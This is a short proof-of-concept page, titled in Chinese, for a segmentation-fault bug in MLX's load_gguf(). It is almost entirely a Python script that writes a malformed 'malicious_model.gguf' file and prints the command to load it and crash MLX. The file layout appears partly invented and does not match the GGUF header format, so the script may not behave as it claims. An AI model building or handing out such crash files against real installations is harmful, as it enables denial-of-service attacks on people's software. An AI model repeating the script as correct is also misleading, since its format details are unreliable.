CVE-2025-62609 MLX load_gguf() 段错误漏洞

#!/usr/bin/env python3 """ CVE-2025-62609 PoC - Malicious GGUF file generator This PoC generates a malicious GGUF file that triggers a segmentation fault in mlx::core::load_gguf() due to unvalidated pointer dereference. Note: This is for educational and security research purposes only. """ import struct import os def create_malicious_gguf(output_path): """ Create a malicious GGUF file that exploits CVE-2025-62609 The file contains crafted metadata that causes gguflib to return an invalid pointer, leading to segmentation fault when dereferenced. """ # GGUF file magic number magic = b'GGUF' # Version (v3 for this PoC) version = 3 # TENSOR_COUNT tag (1000 tensors) tensor_count_tag = 0x00000001 tensor_count = 1000 # KV_DATA tag with malicious values kv_tag = 0x00000002 # Craft malicious KV data that will cause invalid pointer # This contains malformed tensor metadata that gguflib will parse incorrectly malicious_kv_data = bytearray() # Add key-value pairs with invalid pointers for i in range(100): # Key type (string) malicious_kv_data.extend(struct.pack('<I', 8)) # STRING type key = f'malicious_key_{i}'.encode('utf-8') malicious_kv_data.extend(struct.pack('<I', len(key))) malicious_kv_data.extend(key) # Value type (invalid pointer simulation) malicious_kv_data.extend(struct.pack('<I', 0xFFFFFFFF)) # Invalid sentinel value malicious_kv_data.extend(struct.pack('<Q', 0x00000000FFFFFFFF)) # Malformed pointer # TENSOR_DATA tag tensor_data_tag = 0x00000003 # Malformed tensor data with invalid memory references tensor_data = bytearray() for i in range(1000): # Tensor name name = f'malicious_tensor_{i}'.encode('utf-8') tensor_data.extend(struct.pack('<I', len(name))) tensor_data.extend(name) # Number of dimensions (malformed) tensor_data.extend(struct.pack('<I', 0x7FFFFFFF)) # Invalid dimension count # Dimensions with invalid values tensor_data.extend(struct.pack('<Q', 0xFFFFFFFFFFFFFFFF)) # Invalid dimension # Data type tensor_data.extend(struct.pack('<I', 0xFFFFFFFF)) # Invalid type # Offset pointing to invalid memory location tensor_data.extend(struct.pack('<Q', 0x00000000DEADBEEF)) # Invalid offset # Write the malicious GGUF file with open(output_path, 'wb') as f: f.write(magic) f.write(struct.pack('<I', version)) f.write(struct.pack('<I', tensor_count)) f.write(struct.pack('<I', kv_tag)) f.write(struct.pack('<I', len(malicious_kv_data))) f.write(malicious_kv_data) f.write(struct.pack('<I', tensor_data_tag)) f.write(struct.pack('<Q', len(tensor_data))) f.write(tensor_data) print(f"[+] Malicious GGUF file created: {output_path}") print(f"[+] File size: {os.path.getsize(output_path)} bytes") print(f"[!] This file will trigger CVE-2025-62609 in MLX < 0.29.4") if __name__ == '__main__': output_file = 'malicious_model.gguf' create_malicious_gguf(output_file) print("\n[*] To trigger the vulnerability, load this file with MLX:") print(f"[*] import mlx.core as mx; mx.load('{output_file}')")